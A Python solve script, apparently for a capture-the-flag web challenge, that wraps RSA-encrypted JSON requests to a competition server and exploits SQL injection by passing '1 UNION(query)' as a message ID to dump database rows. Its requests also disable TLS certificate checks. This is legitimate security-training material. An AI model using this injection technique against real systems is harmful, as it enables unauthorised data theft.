import base64
import json
import re

import requests
import requests.cookies
from Crypto.Cipher import PKCS1_v1_5 as cipher_algo
from Crypto.PublicKey import RSA


domain = "https://chals.tisc25.ctf.sg:21742/"
key_base64 = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz71X8syKOvdCFJA0or1QuyjAAvWiz1GgdHLrJtWNB0xNWIn93uDOw9RrcCYtCMqP3m672nYhHGbfJPgPTO42W1uktzKbjSDuwqlfPDffcR5gM0ZPD+OgKDzJM50BYcbx5os8C8LiK4Tc/86T9mM1AygFX85gjcWUGyNjxA6ldVqIVnfZAxYl+VFqzo1glI7r4HpNk2LVhz6vwBNOld3r8/1gk4N7RwKGDsCzCCeK5xPhNYjzCzWLLwd6TAwiGxs4lXQ9ITrfeKzaLgEAEISbCOg6a6/1V1Rqi8DJ7dpp8MZkwLYt1xar4kevcKr50SSDFUHXdAQ2GQ4sCljBPHfixwIDAQAB"


key = base64.b64decode(key_base64 + "==")
rsa_key = RSA.import_key(key)
cipher = cipher_algo.new(rsa_key)

def encrypt(plaintext: str) -> str:
	ciphertext = cipher.encrypt(plaintext.encode())
	return base64.b64encode(ciphertext).decode()


class App:
	def __init__(self):
		self._cookies = requests.cookies.RequestsCookieJar()
		self._csrf_token = ""
		self._access_token = ""

	@property
	def cookies(self):
		return self._cookies.get_dict() if self._cookies is not None else {}

	def clear_cookies(self):
		self._cookies.clear()

	def post(self, endpoint: str, data: dict):
		if "csrfToken" not in data:
			data["csrfToken"] = self._csrf_token
		if "access_token" not in data:
			data["access_token"] = self._access_token
		plaintext = json.dumps(data)
		ciphertext = encrypt(plaintext)
		payload = {"data": ciphertext}

		#print("REQ", data, self._cookies.get_dict())

		response = requests.post(
			f"{domain}/{endpoint}.php",
			json=payload,
			verify=False,
			cookies=self._cookies,
		)

		for cookie in response.cookies:
			self._cookies.set_cookie(cookie)

		try:
			response_json = response.json()
			#print("RES", response_json, response.cookies.get_dict())
		except json.JSONDecodeError as e:
			#print("RES text", response.text, response.cookies.get_dict())
			return {"text": response.text}

		if "csrfToken" in response_json:
			self._csrf_token = response_json["csrfToken"]
		if "access_token" in response_json:
			self._access_token = response_json["access_token"]

		return response_json

	def signature(self, data):
		return self.post("signature", data)

	def help(self, data):
		return self.post("help", data)

	def index(self, data):
		return self.post("index", data)

	def login(self, data):
		return self.post("login", data)

	def message(self, data):
		return self.post("message", data)


app = App()

def parse_sql_injection(text: str) -> list[tuple[str, str]]:
	out = []
	for match in re.finditer(r'\{[^}]*\}', text):
		try:
			line_json = json.loads(match.group(0))
			out.append((line_json["msgId"], line_json["message"]))
		except json.JSONDecodeError as e:
			out.append(match.group(0))
	return out

def sql_extract_columns(query: str):
	message_response = app.message({"messageId": f"1 UNION({query})"})
	if "text" not in message_response:
		if "message" in message_response:
			return [message_response["message"]]
		return []
	return parse_sql_injection(message_response["text"])
